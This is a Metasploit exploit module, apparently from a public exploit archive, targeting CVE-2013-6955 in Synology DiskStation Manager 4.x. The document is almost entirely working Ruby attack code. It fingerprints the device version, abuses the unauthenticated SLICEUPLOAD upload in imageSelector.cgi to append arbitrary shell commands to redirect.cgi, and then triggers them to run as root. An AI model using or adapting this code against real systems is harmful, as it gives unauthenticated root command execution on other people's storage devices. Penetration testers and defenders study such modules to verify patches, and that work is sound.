Synology DiskStation Manager - SLICEUPLOAD Remote Command Execution Exploit

:
25.12.2013
:
Synology DiskStation Manager 4.x
:

##
## This module requires Metasploit: http//metasploit.com/download
## Current source: https://github.com/rapid7/metasploit-framework
###

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

DEVICE_INFO_PATTERN = /major=(?<major>\d+)&minor=(?<minor>\d+)&build=(?<build>\d+)
&junior=\d+&unique=synology_\w+_(?<model>[^&]+)/x

def initialize(info={})
super(update_info(info,
'Name' => "Synology DiskStation Manager SLICEUPLOAD Remote Command Execution",
'Description' => %q{
This module exploits a vulnerability found in Synology DiskStation Manager (DSM)
versions 4.x, which allows the execution of arbitrary commands under root
privileges.
The vulnerability is located in /webman/imageSelector.cgi, which allows to append
arbitrary data to a given file using a so called SLICEUPLOAD functionality, which
can be triggered by an unauthenticated user with a specially crafted HTTP request.
This is exploited by this module to append the given commands to /redirect.cgi,
which is a regular shell script file, and can be invoked with another HTTP request.
Synology reported that the vulnerability has been fixed with versions 4.0-2259,
4.2-3243, and 4.3-3810 Update 1, respectively; the 4.1 branch remains vulnerable.
},
'Author' =>
[
'Markus Wulftange' # Discovery, Metasploit module
],
'References' =>
[
[ 'CVE', '2013-6955' ],
],
'Privileged' => false,
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Payload' =>
{
'DisableNops' => true,
'Space' => 0x31337,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl telnet',
}
},
'Targets' =>
[
['Automatic', {}]
],
'DefaultTarget' => 0,
'License' => MSF_LICENSE,
'DisclosureDate' => 'Oct 31 2013'
))

register_options(
[
Opt::RPORT(5000)
], self.class)
end

def check
print_status("#{peer} - Trying to detect installed version")

res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri('webman', 'info.cgi'),
'vars_get' => { 'host' => ''}
})

if res and res.code == 200 and res.body =~ DEVICE_INFO_PATTERN
version = "#{$~[:major]}.#{$~[:minor]}"
build = $~[:build]
model = $~[:model].sub(/^[a-z]+/) { |s| s[0].upcase }
model = "DS#{model}" unless model =~ /^[A-Z]/
else
print_status("#{peer} - Detection failed")
return Exploit::CheckCode::Unknown
end

print_status("#{peer} - Model #{model} with version #{version}-#{build} detected")

case version
when '4.0'
return Exploit::CheckCode::Vulnerable if build < '2259'
when '4.1'
return Exploit::CheckCode::Vulnerable
when '4.2'
return Exploit::CheckCode::Vulnerable if build < '3243'
when '4.3'
return Exploit::CheckCode::Vulnerable if build < '3810'
return Exploit::CheckCode::Detected if build == '3810'
end

Exploit::CheckCode::Safe
end

def exploit
cmds = [
# sed is used to restore the redirect.cgi
"sed -i -e '/sed -i -e/,$d' /usr/syno/synoman/redirect.cgi",
payload.encoded
].join("\n")

mime_msg = Rex::MIME::Message.new
mime_msg.add_part('login', nil, nil, 'form-data; name="source"')
mime_msg.add_part('logo', nil, nil, 'form-data; name="type"')

# unfortunately, Rex::MIME::Message canonicalizes line breaks to \r\n,
# so we use a placeholder and replace it later
cmd_placeholder = Rex::Text::rand_text_alphanumeric(10)
mime_msg.add_part(cmd_placeholder, 'application/octet-stream', nil,
'form-data; name="foo"; filename="bar"')

post_body = mime_msg.to_s
post_body.strip!
post_body.sub!(cmd_placeholder, cmds)

# fix multipart encoding
post_body.gsub!(/\r\n(--#{mime_msg.bound})/, ' \\1')

# send request to append shell commands
print_status("#{peer} - Injecting the payload...")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri('webman', 'imageSelector.cgi'),
'ctype' => "multipart/form-data; boundary=#{mime_msg.bound}",
'headers' => {
'X-TYPE-NAME' => 'SLICEUPLOAD',
'X-TMP-FILE' => '/usr/syno/synoman/redirect.cgi'
},
'data' => post_body
})

unless res and res.code == 200 and res.body.include?('error_noprivilege')
fail_with(Failure::Unknown, "#{peer} - Unexpected response, probably the exploit failed")
end

# send request to invoke the injected shell commands
print_status("#{peer} - Executing the payload...")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri('redirect.cgi'),
})

# Read command output if cmd/unix/generic payload was used
if datastore['CMD']
unless res and res.code == 200
fail_with(Failure::Unknown, "#{peer} - Unexpected response, probably the exploit failed")
end

print_good("#{peer} - Command successfully executed")
print_line(res.body)
end
end
end

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